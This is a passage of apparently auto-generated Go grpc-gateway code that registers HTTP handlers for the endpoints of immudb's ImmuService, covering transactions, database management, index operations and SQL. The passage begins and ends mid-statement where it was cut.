context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_ImmuService_CountAll_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_CountAll_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("GET", pattern_ImmuService_TxById_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_ImmuService_TxById_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_TxById_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("GET", pattern_ImmuService_VerifiableTxById_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_ImmuService_VerifiableTxById_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_VerifiableTxById_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_TxScan_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_ImmuService_TxScan_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_TxScan_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_History_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_ImmuService_History_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_History_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("GET", pattern_ImmuService_ServerInfo_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_ImmuService_ServerInfo_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_ServerInfo_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("GET", pattern_ImmuService_Health_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_ImmuService_Health_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_Health_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("GET", pattern_ImmuService_DatabaseHealth_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_ImmuService_DatabaseHealth_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_DatabaseHealth_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("GET", pattern_ImmuService_CurrentState_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_ImmuService_CurrentState_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_CurrentState_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_SetReference_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_ImmuService_SetReference_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_SetReference_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_VerifiableSetReference_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_ImmuService_VerifiableSetReference_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_VerifiableSetReference_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_ZAdd_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_ImmuService_ZAdd_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_ZAdd_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_VerifiableZAdd_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_ImmuService_VerifiableZAdd_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_VerifiableZAdd_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_ZScan_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_ImmuService_ZScan_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_ZScan_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_CreateDatabase_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_ImmuService_CreateDatabase_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_CreateDatabase_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_CreateDatabaseWith_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_ImmuService_CreateDatabaseWith_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_CreateDatabaseWith_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_CreateDatabaseV2_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_ImmuService_CreateDatabaseV2_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_CreateDatabaseV2_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_LoadDatabase_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_ImmuService_LoadDatabase_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_LoadDatabase_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_UnloadDatabase_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_ImmuService_UnloadDatabase_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_UnloadDatabase_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_DeleteDatabase_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_ImmuService_DeleteDatabase_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_DeleteDatabase_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_DatabaseList_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_ImmuService_DatabaseList_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_DatabaseList_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_DatabaseListV2_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_ImmuService_DatabaseListV2_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_DatabaseListV2_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("GET", pattern_ImmuService_UseDatabase_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_ImmuService_UseDatabase_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_UseDatabase_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_UpdateDatabase_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_ImmuService_UpdateDatabase_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_UpdateDatabase_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_UpdateDatabaseV2_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_ImmuService_UpdateDatabaseV2_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_UpdateDatabaseV2_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_GetDatabaseSettings_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_ImmuService_GetDatabaseSettings_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_GetDatabaseSettings_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_GetDatabaseSettingsV2_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_ImmuService_GetDatabaseSettingsV2_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_GetDatabaseSettingsV2_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("GET", pattern_ImmuService_FlushIndex_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_ImmuService_FlushIndex_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_FlushIndex_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("GET", pattern_ImmuService_CompactIndex_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_ImmuService_CompactIndex_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_CompactIndex_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_SQLExec_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_ImmuService_SQLExec_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_SQLExec_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_UnarySQLQuery_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_ImmuService_UnarySQLQuery_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_UnarySQLQuery_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_SQLQuery_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { err := status.Error(codes.Unimplemented, "streaming calls are not yet supported in the in-process transport") _, outboundMarshaler := 